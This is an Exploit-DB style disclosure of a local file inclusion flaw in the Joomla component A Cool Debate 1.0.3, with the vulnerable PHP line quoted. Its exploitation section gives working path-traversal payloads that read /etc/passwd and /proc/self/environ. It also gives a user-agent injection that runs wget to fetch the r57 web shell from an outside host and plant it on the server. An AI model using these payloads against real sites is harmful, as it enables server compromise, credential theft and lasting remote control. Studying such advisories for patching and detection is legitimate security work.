Exploit Joomla! Component A Cool Debate 1.0.3 - Local File Inclusion

[Exploiter]

EDB-ID

17411

Проверка EDB

1. Пройдено

Автор

CHIP D3 BI0S

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

N/A

Дата публикации

2011-06-18

A Cool Debate 1.0.3 Component Joomla Local File Inclusion
=========================================================================================
 
- Discovered by : Chip D3 Bi0s
- Email         : chipdebios[at]gmail[dot]com
- Group         : LatinHackTeam
- Date          : 18 june 2011
- Where         : From Remote
 
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Affected software description
 
Application     : A Cool Debate
Developer       : oasis fleeting
version         : 1.0.3
License         : GPLv2 or later
Date Added      : 5 June 2011
Download        : http://www.acoolsip.com/development/a-cool-debate.html
 
I. BACKGROUND
 

When building this component I drew on debate.org as an example. With the upcoming elections in the U.S.A.
 I figure that this will become a very popular extension for joomla. This component integrates with the most
 popular community extensions for joomla, Community Builder, Jomsocial and CBE.

This is the first release candidate of this extension and is ready for users to put it through their test.
It is free and still in an early stage.

Debate or debating is a formal method of interactive and representational argument. Debate is a broader
form of argument than logical argument, which only examines consistency from axiom, and factual argument,
which only examines what is or isn't the case or rhetoric which is a technique of persuasion. Though logical
consistency, factual accuracy and some degree of emotional appeal to the audience are important elements of the
art of persuasion, in debating, one side often prevails over the other side by presenting a superior "context" and/or
framework of the issue, which is far more subtle and strategic.
 
II. DESCRIPTION
 
Some Local File inclusion vulnerabilities exist in Component A Cool Debate 1.0.3.
 
 
 
III. ANALYSIS
 
The bug is in the following files, specifying the lines in 
 
components/com_acooldebate/acooldebate.php
 
 
 
   // Require specific controller if requested
   if($controller = JRequest::getVar('controller')) {
	    require_once (JPATH_COMPONENT.DS.'controllers'.DS.$controller.'.php');
 
 Explanation:As noted in the line [16] $controller
 nowhere is filtered, which result is lfi as is known to pass '.php' use %00 :)
 
 
IV. EXPLOITATION
it is logical that {LFI} depends on the number of directories served,
which can be assumed when the error it prints on the web
 
http://site/path/index.php?option=com_acooldebate&controller={LFI}
{LFI}=../../../../../../../../../../etc/passwd%00
{LFI}=../../../../../../../../../../proc/self/environ%00


 
changing the user agent for something so:
<?system('wget http://chipdebios.com/r57.txt -O r57.php');?>
 
A special greeting to my good friends:
R4y0k3nt, ecore, J3h3s, r0i & pc Marquesita :)
 
 
 
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[!] Produced in South America
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